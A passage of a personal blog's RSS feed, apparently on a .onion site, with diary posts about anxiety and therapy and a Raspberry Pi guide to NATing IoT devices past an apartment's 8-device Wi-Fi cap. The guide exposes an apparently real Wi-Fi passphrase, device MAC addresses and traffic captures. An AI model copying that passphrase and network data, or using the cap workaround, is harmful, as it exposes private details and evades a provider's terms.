    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    + + How am I doing? + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/ + Mon, 15 Dec 2025 08:27:13 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/ + <p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I&rsquo;m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it&rsquo;s draining me. +Draining me of happiness, being in pursuit of happyness.</p> +<p>Idk what is wrong with me. Idk why I can&rsquo;t let go. I don&rsquo;t know why I need so much closure. Idk. I really don&rsquo;t. +What I know is that I&rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.</p> + This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

    +

    Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

    +

    This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

    +

    Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

    +

    Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

    +

    He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
    +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
    +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
    +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
    +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
    +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
    +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
    +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
    ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
    +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
    +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
    +=NPxh
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md.asc
    +gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
    +  
    +
    + + +]]>
    +
    + + Setting Boundries + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/ + Thu, 04 Dec 2025 14:38:36 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/ + <p>I was watching <a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video</a> the other day. It&rsquo;s an interesting video imo. This is something I&rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?</p> +<p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &ldquo;nice person&rdquo;. I&rsquo;ve even been made fun of with those words.</p> + I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

    +

    Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

    +

    All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

    +

    But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

    +

    So… I made a decision. To stay away from everyone. To make distance.

    +

    The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

    +

    The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

    +

    I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
    +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
    +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
    +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
    +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
    +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
    +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
    ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
    +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
    +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
    +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
    +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
    +=oJ5s
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md.asc
    +gpg --verify setting_boundries.md.asc setting_boundries.md
    +  
    +
    + + +]]>
    +
    + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
